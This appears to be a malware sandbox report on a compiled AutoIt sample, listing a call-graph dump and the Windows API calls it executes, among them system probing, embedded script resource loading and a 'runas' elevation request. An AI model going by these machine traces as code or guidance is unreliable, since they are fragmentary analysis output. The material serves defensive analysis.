ab8047 59 API calls 106397->106405 106398->106390 106399 aed5cb 106400 ab7bcc 59 API calls 106399->106400 106418 aed588 106400->106418 106401->106391 106409 ab784b 59 API calls 106401->106409 106403 ab46b3 106402->106403 106406 ab8047 59 API calls 106402->106406 106408 ab46ba 106403->106408 106410 ab8047 59 API calls 106403->106410 106404->106399 106407 aed5b4 106404->106407 106417 aed532 106404->106417 106405->106402 106406->106403 106407->106399 106413 aed59f 106407->106413 106411 ab8047 59 API calls 106408->106411 106420 ab46c1 Mailbox 106408->106420 106409->106391 106410->106408 106411->106420 106412 ab79f2 59 API calls 106412->106418 106416 ab7bcc 59 API calls 106413->106416 106414 aed590 106415 ab7bcc 59 API calls 106414->106415 106415->106418 106416->106418 106417->106414 106421 aed57b 106417->106421 106418->106391 106418->106412 106448 ab7924 59 API calls 2 library calls 106418->106448 106420->106297 106422 ab7bcc 59 API calls 106421->106422 106422->106418 106423->106330 106424->106330 106425->106330 106426->106330 106427->106330 106428->106330 106429->106330 106431 ab5c79 106430->106431 106432 ab5c88 106430->106432 106431->106324 106432->106431 106433 ab5c8d CloseHandle 106432->106433 106433->106431 106434->106268 106435->106274 106436->106302 106437->106352 106438->106352 106439->106352 106440->106352 106441->106352 106442->106352 106443->106327 106444->106331 106445->106351 106446->106342 106447->106335 106448->106418 106450 ab6ea9 106449->106450 106451 ab6d95 106449->106451 106450->105412 106451->106450 106452 ad0db6 Mailbox 59 API calls 106451->106452 106454 ab6dbc 106452->106454 106453 ad0db6 Mailbox 59 API calls 106459 ab6e31 106453->106459 106454->106453 106459->106450 106462 ab6240 106459->106462 106487 ab735d 59 API calls Mailbox 106459->106487 106488 b06553 59 API calls Mailbox 106459->106488 106489 ab750f 59 API calls 2 library calls 106459->106489 106460->105414 106461->105416 106463 ab7a16 59 API calls 106462->106463 106474 ab6265 106463->106474 106464 ab646a 106492 ab750f 59 API calls 2 library calls 106464->106492 106466 ab6484 Mailbox 106466->106459 106469 aedff6 106495 b0f8aa 91 API calls 4 library calls 106469->106495 106470 ab7d8c 59 API calls 106470->106474 106471 ab6799 _memmove 106497 b0f8aa 91 API calls 4 library calls 106471->106497 106474->106464 106474->106469 106474->106470 106474->106471 106475 ab750f 59 API calls 106474->106475 106480 aedf92 106474->106480 106484 ab7e4f 59 API calls 106474->106484 106490 ab5f6c 60 API calls 106474->106490 106491 ab5d41 59 API calls Mailbox 106474->106491 106493 ab5e72 60 API calls 106474->106493 106494 ab7924 59 API calls 2 library calls 106474->106494 106475->106474 106477 aee004 106496 ab750f 59 API calls 2 library calls 106477->106496 106479 aee01a 106479->106466 106481 ab8029 59 API calls 106480->106481 106482 aedf9d 106481->106482 106486 ad0db6 Mailbox 59 API calls 106482->106486 106485 ab643b CharUpperBuffW 106484->106485 106485->106474 106486->106471 106487->106459 106488->106459 106489->106459 106490->106474 106491->106474 106492->106466 106493->106474 106494->106474 106495->106477 106496->106479 106497->106466 106498->105431 106499->105430 106501 abe6d5 106500->106501 106502 af3aa9 106501->106502 106505 abe73f 106501->106505 106514 abe799 106501->106514 106503 ab9ea0 331 API calls 106502->106503 106504 af3abe 106503->106504 106530 abe970 Mailbox 106504->106530 106573 b19e4a 89 API calls 4 library calls 106504->106573 106508 ab7667 59 API calls 106505->106508 106505->106514 106506 ab7667 59 API calls 106506->106514 106510 af3b04 106508->106510 106509 ad2d40 __cinit 67 API calls 106509->106514 106512 ad2d40 __cinit 67 API calls 106510->106512 106511 af3b26 106511->105508 106512->106514 106513 ab84c0 69 API calls 106513->106530 106514->106506 106514->106509 106514->106511 106515 abe95a 106514->106515 106514->106530 106515->106530 106574 b19e4a 89 API calls 4 library calls 106515->106574 106517 ab9ea0 331 API calls 106517->106530 106521 ab8d40 59 API calls 106521->106530 106523 b19e4a 89 API calls 106523->106530 106527 af3e25 106527->105508 106528 abf195 106578 b19e4a 89 API calls 4 library calls 106528->106578 106529 abea78 106529->105508 106530->106513 106530->106517 106530->106521 106530->106523 106530->106528 106530->106529 106572 ab7f77 59 API calls 2 library calls 106530->106572 106575 b06e8f 59 API calls 106530->106575 106576 b2c5c3 331 API calls 106530->106576 106577 b2b53c 331 API calls Mailbox 106530->106577 106579 ab9c90 59 API calls Mailbox 106530->106579 106580 b293c6 331 API calls Mailbox 106530->106580 106532 abf4ba 106531->106532 106533 abf650 106531->106533 106534 af441e 106532->106534 106535 abf4c6 106532->106535 106536 ab7de1 59 API calls 106533->106536 106675 b2bc6b 331 API calls Mailbox 106534->106675 106673 abf290 331 API calls 2 library calls 106535->106673 106542 abf58c Mailbox 106536->106542 106539 af442c 106543 abf630 106539->106543 106676 b19e4a 89 API calls 4 library calls 106539->106676 106541 abf4fd 106541->106539 106541->106542 106541->106543 106546 ab4e4a 84 API calls 106542->106546 106581 b13c37 106542->106581 106584 b1cb7a 106542->106584 106664 b2445a 106542->106664 106543->105508 106545 abf5e3 106545->106543 106674 ab9c90 59 API calls Mailbox 106545->106674 106546->106545 106550->105508 106551->105508 106552->105508 106553->105438 106554->105443 106555->105508 106556->105448 106557->105448 106558->105448 106559->105508 106560->105508 106561->105508 106562->105508 106563->105508 106564->105508 106565->105493 106566->105493 106567->105493 106568->105493 106569->105493 106570->105493 106571->105493 106572->106530 106573->106530 106574->106530 106575->106530 106576->106530 106577->106530 106578->106527 106579->106530 106580->106530 106677 b1445a GetFileAttributesW 106581->106677 106585 ab7667 59 API calls 106584->106585 106586 b1cbaf 106585->106586 106587 ab7667 59 API calls 106586->106587 106588 b1cbb8 106587->106588 106589 b1cbcc 106588->106589 106790 ab9b3c 59 API calls 106588->106790 106591 ab9837 84 API calls 106589->106591 106592 b1cbe9 106591->106592 106593 b1cc0b 106592->106593 106594 b1ccea 106592->106594 106599 b1cd1a Mailbox 106592->106599 106595 ab9837 84 API calls 106593->106595 106596 ab4ddd 136 API calls 106594->106596 106597 b1cc17 106595->106597 106598 b1ccfe 106596->106598 106600 ab8047 59 API calls 106597->106600 106603 ab4ddd 136 API calls 106598->106603 106605 b1cd16 106598->106605 106599->106545 106602 b1cc23 106600->106602 106601 ab7667 59 API calls 106604 b1cd4b 106601->106604 106608 b1cc37 106602->106608 106609 b1cc69 106602->106609 106603->106605 106606 ab7667 59 API calls 106604->106606 106605->106599 106605->106601 106607 b1cd54 106606->106607 106611 ab7667 59 API calls 106607->106611 106612 ab8047 59 API calls 106608->106612 106610 ab9837 84 API calls 106609->106610 106614 b1cc76 106610->106614 106615 b1cd5d 106611->106615 106613 b1cc47 106612->106613 106616 ab7cab 59 API calls 106613->106616 106617 ab8047 59 API calls 106614->106617 106618 ab7667 59 API calls 106615->106618 106619 b1cc51 106616->106619 106620 b1cc82 106617->106620 106621 b1cd66 106618->106621 106622 ab9837 84 API calls 106619->106622 106791 b14a31 GetFileAttributesW 106620->106791 106624 ab9837 84 API calls 106621->106624 106625 b1cc5d 106622->106625 106627 b1cd73 106624->106627 106628 ab7b2e 59 API calls 106625->106628 106626 b1cc8b 106629 b1cc9e 106626->106629 106633 ab79f2 59 API calls 106626->106633 106630 ab459b 59 API calls 106627->106630 106628->106609 106632 ab9837 84 API calls 106629->106632 106639 b1cca4 106629->106639 106631 b1cd8e 106630->106631 106634 ab79f2 59 API calls 106631->106634 106635 b1cccb 106632->106635 106633->106629 106636 b1cd9d 106634->106636 106792 b137ef 75 API calls Mailbox 106635->106792 106638 b1cdd1 106636->106638 106640 ab79f2 59 API calls 106636->106640 106641 ab8047 59 API calls 106638->106641 106639->106599 106642 b1cdae 106640->106642 106643 b1cddf 106641->106643 106642->106638 106645 ab7bcc 59 API calls 106642->106645 106644 ab7b2e 59 API calls 106643->106644 106646 b1cded 106644->106646 106647 b1cdc3 106645->106647 106648 ab7b2e 59 API calls 106646->106648 106650 ab7bcc 59 API calls 106647->106650 106649 b1cdfb 106648->106649 106651 ab7b2e 59 API calls 106649->106651 106650->106638 106652 b1ce09 106651->106652 106653 ab9837 84 API calls 106652->106653 106654 b1ce15 106653->106654 106681 b14071 106654->106681 106656 b1ce26 106657 b13c37 3 API calls 106656->106657 106658 b1ce30 106657->106658 106659 ab9837 84 API calls 106658->106659 106662 b1ce61 106658->106662 106660 b1ce4e 106659->106660 106735 b19155 106660->106735 106663 ab4e4a 84 API calls 106662->106663 106663->106599 106665 ab9837 84 API calls 106664->106665 106666 b24494 106665->106666 106667 ab6240 94 API calls 106666->106667 106668 b244a4 106667->106668 106669 b244c9 106668->106669 106670 ab9ea0 331 API calls 106668->106670 106672 b244cd 106669->106672 106832 ab9a98 59 API calls Mailbox 106669->106832 106670->106669 106672->106545 106673->106541 106674->106545 106675->106539 106676->106543 106678 b13c3e 106677->106678 106679 b14475 FindFirstFileW 106677->106679 106678->106545 106679->106678 106680 b1448a FindClose 106679->106680 106680->106678 106682 b1408d 106681->106682 106683 b140a0 106682->106683 106684 b14092 106682->106684 106686 ab7667 59 API calls 106683->106686 106685 ab8047 59 API calls 106684->106685 106734 b1409b Mailbox 106685->106734 106687 b140a8 106686->106687 106688 ab7667 59 API calls 106687->106688 106689 b140b0 106688->106689 106690 ab7667 59 API calls 106689->106690 106691 b140bb 106690->106691 106692 ab7667 59 API calls 106691->106692 106693 b140c3 106692->106693 106694 ab7667 59 API calls 106693->106694 106695 b140cb 106694->106695 106696 ab7667 59 API calls 106695->106696 106697 b140d3 106696->106697 106698 ab7667 59 API calls 106697->106698 106699 b140db 106698->106699 106700 ab7667 59 API calls 106699->106700 106701 b140e3 106700->106701 106702 ab459b 59 API calls 106701->106702 106703 b140fa 106702->106703 106704 ab459b 59 API calls 106703->106704 106705 b14113 106704->106705 106706 ab79f2 59 API calls 106705->106706 106708 b1411f 106706->106708 106707 b14132 106710 ab79f2 59 API calls 106707->106710 106708->106707 106709 ab7d2c 59 API calls 106708->106709 106709->106707 106711 b1413b 106710->106711 106712 b1414b 106711->106712 106713 ab7d2c 59 API calls 106711->106713 106714 ab8047 59 API calls 106712->106714 106713->106712 106715 b14157 106714->106715 106716 ab7b2e 59 API calls 106715->106716 106717 b14163 106716->106717 106793 b14223 59 API calls 106717->106793 106719 b14172 106734->106656 106736 b19162 __ftell_nolock 106735->106736 106737 ad0db6 Mailbox 59 API calls 106736->106737 106738 b191bf 106737->106738 106739 ab522e 59 API calls 106738->106739 106740 b191c9 106739->106740 106741 b18f5f GetSystemTimeAsFileTime 106740->106741 106742 b191d4 106741->106742 106743 ab4ee5 85 API calls 106742->106743 106744 b191e7 _wcscmp 106743->106744 106745 b192b8 106744->106745 106746 b1920b 106744->106746 106747 b19734 96 API calls 106745->106747 106748 b19734 96 API calls 106746->106748 106763 b19284 _wcscat 106747->106763 106749 b19210 106748->106749 106753 b192c1 106749->106753 106812 ad40fb 58 API calls __wsplitpath_helper 106749->106812 106751 ab4f0b 74 API calls 106752 b192dd 106751->106752 106754 ab4f0b 74 API calls 106752->106754 106753->106662 106756 b192ed 106754->106756 106755 b19239 _wcscat _wcscpy 106813 ad40fb 58 API calls __wsplitpath_helper 106755->106813 106757 ab4f0b 74 API calls 106756->106757 106759 b19308 106757->106759 106760 ab4f0b 74 API calls 106759->106760 106761 b19318 106760->106761 106762 ab4f0b 74 API calls 106761->106762 106764 b19333 106762->106764 106763->106751 106763->106753 106765 ab4f0b 74 API calls 106764->106765 106790->106589 106791->106626 106792->106639 106793->106719 106812->106755 106813->106763 106832->106672 106833 ab1016 106838 ab4974 106833->106838 106836 ad2d40 __cinit 67 API calls 106837 ab1025 106836->106837 106839 ad0db6 Mailbox 59 API calls 106838->106839 106840 ab497c 106839->106840 106841 ab101b 106840->106841 106845 ab4936 106840->106845 106841->106836 106846 ab493f 106845->106846 106847 ab4951 106845->106847 106848 ad2d40 __cinit 67 API calls 106846->106848 106849 ab49a0 106847->106849 106848->106847 106850 ab7667 59 API calls 106849->106850 106851 ab49b8 GetVersionExW 106850->106851 106852 ab7bcc 59 API calls 106851->106852 106853 ab49fb 106852->106853 106854 ab7d2c 59 API calls 106853->106854 106857 ab4a28 106853->106857 106855 ab4a1c 106854->106855 106856 ab7726 59 API calls 106855->106856 106856->106857 106858 ab4a93 GetCurrentProcess IsWow64Process 106857->106858 106860 aed864 106857->106860 106859 ab4aac 106858->106859 106861 ab4b2b GetSystemInfo 106859->106861 106862 ab4ac2 106859->106862 106863 ab4af8 106861->106863 106873 ab4b37 106862->106873 106863->106841 106866 ab4b1f GetSystemInfo 106869 ab4ae9 106866->106869 106867 ab4ad4 106868 ab4b37 2 API calls 106867->106868 106870 ab4adc GetNativeSystemInfo 106868->106870 106869->106863 106871 ab4aef FreeLibrary 106869->106871 106870->106869 106871->106863 106874 ab4ad0 106873->106874 106875 ab4b40 LoadLibraryA 106873->106875 106874->106866 106874->106867 106875->106874 106876 ab4b51 GetProcAddress 106875->106876 106876->106874 106877 ab1066 106882 abf76f 106877->106882 106879 ab106c 106880 ad2d40 __cinit 67 API calls 106879->106880 106881 ab1076 106880->106881 106883 abf790 106882->106883 106915 acff03 106883->106915 106887 abf7d7 106888 ab7667 59 API calls 106887->106888 106889 abf7e1 106888->106889 106890 ab7667 59 API calls 106889->106890 106891 abf7eb 106890->106891 106892 ab7667 59 API calls 106891->106892 106893 abf7f5 106892->106893 106894 ab7667 59 API calls 106893->106894 106895 abf833 106894->106895 106896 ab7667 59 API calls 106895->106896 106897 abf8fe 106896->106897 106925 ac5f87 106897->106925 106901 abf930 106902 ab7667 59 API calls 106901->106902 106903 abf93a 106902->106903 106953 acfd9e 106903->106953 106905 abf981 106906 abf991 GetStdHandle 106905->106906 106907 af45ab 106906->106907 106908 abf9dd 106906->106908 106907->106908 106910 af45b4 106907->106910 106909 abf9e5 OleInitialize 106908->106909 106909->106879 106960 b16b38 64 API calls Mailbox 106910->106960 106912 af45bb 106961 b17207 CreateThread 106912->106961 106914 af45c7 CloseHandle 106914->106909 106962 acffdc 106915->106962 106918 acffdc 59 API calls 106919 acff45 106918->106919 106920 ab7667 59 API calls 106919->106920 106921 acff51 106920->106921 106922 ab7bcc 59 API calls 106921->106922 106923 abf796 106922->106923 106924 ad0162 6 API calls 106923->106924 106924->106887 106926 ab7667 59 API calls 106925->106926 106927 ac5f97 106926->106927 106928 ab7667 59 API calls 106927->106928 106929 ac5f9f 106928->106929 106969 ac5a9d 106929->106969 106932 ac5a9d 59 API calls 106933 ac5faf 106932->106933 106934 ab7667 59 API calls 106933->106934 106935 ac5fba 106934->106935 106936 ad0db6 Mailbox 59 API calls 106935->106936 106937 abf908 106936->106937 106938 ac60f9 106937->106938 106939 ac6107 106938->106939 106940 ab7667 59 API calls 106939->106940 106941 ac6112 106940->106941 106942 ab7667 59 API calls 106941->106942 106943 ac611d 106942->106943 106944 ab7667 59 API calls 106943->106944 106945 ac6128 106944->106945 106946 ab7667 59 API calls 106945->106946 106947 ac6133 106946->106947 106948 ac5a9d 59 API calls 106947->106948 106949 ac613e 106948->106949 106950 ad0db6 Mailbox 59 API calls 106949->106950 106951 ac6145 RegisterWindowMessageW 106950->106951 106951->106901 106954 acfdae 106953->106954 106955 b0576f 106953->106955 106957 ad0db6 Mailbox 59 API calls 106954->106957 106972 b19ae7 60 API calls 106955->106972 106959 acfdb6 106957->106959 106958 b0577a 106959->106905 106960->106912 106961->106914 106973 b171ed 65 API calls 106961->106973 106963 ab7667 59 API calls 106962->106963 106964 acffe7 106963->106964 106965 ab7667 59 API calls 106964->106965 106966 acffef 106965->106966 106967 ab7667 59 API calls 106966->106967 106968 acff3b 106967->106968 106968->106918 106970 ab7667 59 API calls 106969->106970 106971 ac5aa5 106970->106971 106971->106932 106972->106958 106974 ab1055 106979 ab2649 106974->106979 106977 ad2d40 __cinit 67 API calls 106978 ab1064 106977->106978 106980 ab7667 59 API calls 106979->106980 106981 ab26b7 106980->106981 106986 ab3582 106981->106986 106984 ab2754 106985 ab105a 106984->106985 106989 ab3416 59 API calls 2 library calls 106984->106989 106985->106977 106990 ab35b0 106986->106990 106989->106984 106991 ab35a1 106990->106991 106992 ab35bd 106990->106992 106991->106984 106992->106991 106993 ab35c4 RegOpenKeyExW 106992->106993 106993->106991 106994 ab35de RegQueryValueExW 106993->106994 106995 ab35ff 106994->106995 106996 ab3614 RegCloseKey 106994->106996 106995->106996 106996->106991 106997 f71cd8 107011 f6f928 106997->107011 106999 f71d9a 107014 f71bc8 106999->107014 107017 f72dc8 GetPEB 107011->107017 107013 f6ffb3 107013->106999 107015 f71bd1 Sleep 107014->107015 107016 f71bdf 107015->107016 107018 f72df2 107017->107018 107018->107013

                                          Executed Functions

                                          Function 00AB3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153windowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00AB3B68
                                          • IsDebuggerPresent.KERNEL32 ref: 00AB3B7A
                                          • GetFullPathNameW.KERNEL32(00007FFF,?,?,00B752F8,00B752E0,?,?), ref: 00AB3BEB
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                            • Part of subcall function 00AC092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00AB3C14,00B752F8,?,?,?), ref: 00AC096E
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00AB3C6F
                                          • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00B67770,00000010), ref: 00AED281
                                          • SetCurrentDirectoryW.KERNEL32(?,00B752F8,?,?,?), ref: 00AED2B9
                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00B64260,00B752F8,?,?,?), ref: 00AED33F
                                          • ShellExecuteW.SHELL32(00000000,?,?), ref: 00AED346
                                            • Part of subcall function 00AB3A46: GetSysColorBrush.USER32(0000000F), ref: 00AB3A50
                                            • Part of subcall function 00AB3A46: LoadCursorW.USER32(00000000,00007F00), ref: 00AB3A5F
                                            • Part of subcall function 00AB3A46: LoadIconW.USER32(00000063), ref: 00AB3A76
                                            • Part of subcall function 00AB3A46: LoadIconW.USER32(000000A4), ref: 00AB3A88
                                            • Part of subcall function 00AB3A46: LoadIconW.USER32(000000A2), ref: 00AB3A9A
                                            • Part of subcall function 00AB3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00AB3AC0
                                            • Part of subcall function 00AB3A46: RegisterClassExW.USER32(?), ref: 00AB3B16
                                            • Part of subcall function 00AB39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00AB3A03
                                            • Part of subcall function 00AB39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00AB3A24
                                            • Part of subcall function 00AB39D5: ShowWindow.USER32(00000000,?,?), ref: 00AB3A38
                                            • Part of subcall function 00AB39D5: ShowWindow.USER32(00000000,?,?), ref: 00AB3A41
                                            • Part of subcall function 00AB434A: _memset.LIBCMT ref: 00AB4370
                                            • Part of subcall function 00AB434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AB4415
                                          Strings
                                          • This is a third-party compiled AutoIt script., xrefs: 00AED279
                                          • runas, xrefs: 00AED33A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                          • String ID: This is a third-party compiled AutoIt script.$runas
                                          • API String ID: 529118366-3287110873
                                          • Opcode ID: 436aef0ba8fa383a3895cdb31b0e3930dd587632117ecfe4cb3374a1a083f076
                                          • Instruction ID: 86eba18e0ce6ec547a2714fdfc04b56cfd359b8e69858f4d129c4c35b8e0df59
                                          • Opcode Fuzzy Hash: 436aef0ba8fa383a3895cdb31b0e3930dd587632117ecfe4cb3374a1a083f076
                                          • Instruction Fuzzy Hash: 6251CF72D08649AEDF21EBF5DD05EFD7BBCAB45700B1040A9F425A71A3DEB04A85CB21
                                          Function 00AB49A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 996 ab49a0-ab4a00 call ab7667 GetVersionExW call ab7bcc 1001 ab4b0b-ab4b0d 996->1001 1002 ab4a06 996->1002 1003 aed767-aed773 1001->1003 1004 ab4a09-ab4a0e 1002->1004 1005 aed774-aed778 1003->1005 1006 ab4b12-ab4b13 1004->1006 1007 ab4a14 1004->1007 1009 aed77a 1005->1009 1010 aed77b-aed787 1005->1010 1008 ab4a15-ab4a4c call ab7d2c call ab7726 1006->1008 1007->1008 1018 ab4a52-ab4a53 1008->1018 1019 aed864-aed867 1008->1019 1009->1010 1010->1005 1012 aed789-aed78e 1010->1012 1012->1004 1014 aed794-aed79b 1012->1014 1014->1003 1016 aed79d 1014->1016 1020 aed7a2-aed7a5 1016->1020 1018->1020 1021 ab4a59-ab4a64 1018->1021 1022 aed869 1019->1022 1023 aed880-aed884 1019->1023 1024 aed7ab-aed7c9 1020->1024 1025 ab4a93-ab4aaa GetCurrentProcess IsWow64Process 1020->1025 1026 ab4a6a-ab4a6c 1021->1026 1027 aed7ea-aed7f0 1021->1027 1028 aed86c 1022->1028 1030 aed86f-aed878 1023->1030 1031 aed886-aed88f 1023->1031 1024->1025 1029 aed7cf-aed7d5 1024->1029 1032 ab4aaf-ab4ac0 1025->1032 1033 ab4aac 1025->1033 1034 ab4a72-ab4a75 1026->1034 1035 aed805-aed811 1026->1035 1038 aed7fa-aed800 1027->1038 1039 aed7f2-aed7f5 1027->1039 1028->1030 1036 aed7df-aed7e5 1029->1036 1037 aed7d7-aed7da 1029->1037 1030->1023 1031->1028 1040 aed891-aed894 1031->1040 1041 ab4b2b-ab4b35 GetSystemInfo 1032->1041 1042 ab4ac2-ab4ad2 call ab4b37 1032->1042 1033->1032 1043 ab4a7b-ab4a8a 1034->1043 1044 aed831-aed834 1034->1044 1046 aed81b-aed821 1035->1046 1047 aed813-aed816 1035->1047 1036->1025 1037->1025 1038->1025 1039->1025 1040->1030 1045 ab4af8-ab4b08 1041->1045 1055 ab4b1f-ab4b29 GetSystemInfo 1042->1055 1056 ab4ad4-ab4ae1 call ab4b37 1042->1056 1050 aed826-aed82c 1043->1050 1051 ab4a90 1043->1051 1044->1025 1049 aed83a-aed84f 1044->1049 1046->1025 1047->1025 1053 aed859-aed85f 1049->1053 1054 aed851-aed854 1049->1054 1050->1025 1051->1025 1053->1025 1054->1025 1058 ab4ae9-ab4aed 1055->1058 1061 ab4b18-ab4b1d 1056->1061 1062 ab4ae3-ab4ae7 GetNativeSystemInfo 1056->1062 1058->1045 1060 ab4aef-ab4af2 FreeLibrary 1058->1060 1060->1045 1061->1062 1062->1058
                                          APIs
                                          • GetVersionExW.KERNEL32(?), ref: 00AB49CD
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          • GetCurrentProcess.KERNEL32(?,00B3FAEC,00000000,00000000,?), ref: 00AB4A9A
                                          • IsWow64Process.KERNEL32(00000000), ref: 00AB4AA1
                                          • GetNativeSystemInfo.KERNELBASE(00000000), ref: 00AB4AE7
                                          • FreeLibrary.KERNEL32(00000000), ref: 00AB4AF2
                                          • GetSystemInfo.KERNEL32(00000000), ref: 00AB4B23
                                          • GetSystemInfo.KERNEL32(00000000), ref: 00AB4B2F
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                          • String ID:
                                          • API String ID: 1986165174-0
                                          • Opcode ID: 2eca590e4dbefe6f7a34e062647c062099b0ff6b5016ff996990dba4a1da592f
                                          • Instruction ID: a6d9c0cfb9bb8f195fa4047323507fd0d3b4d53a5fa3836789bb5408364a326a
                                          • Opcode Fuzzy Hash: 2eca590e4dbefe6f7a34e062647c062099b0ff6b5016ff996990dba4a1da592f
                                          • Instruction Fuzzy Hash: B991C331989BC1DEC731DB6895501EAFFF9AF2E300F5449AED0C793A43D620A908D769
                                          Function 00AB4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1063 ab4e89-ab4ea1 CreateStreamOnHGlobal 1064 ab4ea3-ab4eba FindResourceExW 1063->1064 1065 ab4ec1-ab4ec6 1063->1065 1066 ab4ec0 1064->1066 1067 aed933-aed942 LoadResource 1064->1067 1066->1065 1067->1066 1068 aed948-aed956 SizeofResource 1067->1068 1068->1066 1069 aed95c-aed967 LockResource 1068->1069 1069->1066 1070 aed96d-aed98b 1069->1070 1070->1066
                                          APIs
                                          • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00AB4D8E,?,?,00000000,00000000), ref: 00AB4E99
                                          • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00AB4D8E,?,?,00000000,00000000), ref: 00AB4EB0
                                          • LoadResource.KERNEL32(?,00000000,?,?,00AB4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00AB4E2F), ref: 00AED937
                                          • SizeofResource.KERNEL32(?,00000000,?,?,00AB4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00AB4E2F), ref: 00AED94C
                                          • LockResource.KERNEL32(00AB4D8E,?,?,00AB4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00AB4E2F,00000000), ref: 00AED95F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                          • String ID: SCRIPT
                                          • API String ID: 3051347437-3967369404
                                          • Opcode ID: 99dbe400be2176966f4766009b681e647d642044963ac4539470c3c4e32c7b1d
                                          • Instruction ID: 90b4b263f400a23048679ce31d3c2174a6ca0e53d6cd9f956418e1fc979eebc8
                                          • Opcode Fuzzy Hash: 99dbe400be2176966f4766009b681e647d642044963ac4539470c3c4e32c7b1d
                                          • Instruction Fuzzy Hash: 2A112A75644701BFD7218B65EC48FAB7BBEFBC9B51F204269F40696262DB61E8008A60
                                          Function 00B1445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFileAttributesW.KERNELBASE(?,00AEE398), ref: 00B1446A
                                          • FindFirstFileW.KERNELBASE(?,?), ref: 00B1447B
                                          • FindClose.KERNEL32(00000000), ref: 00B1448B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
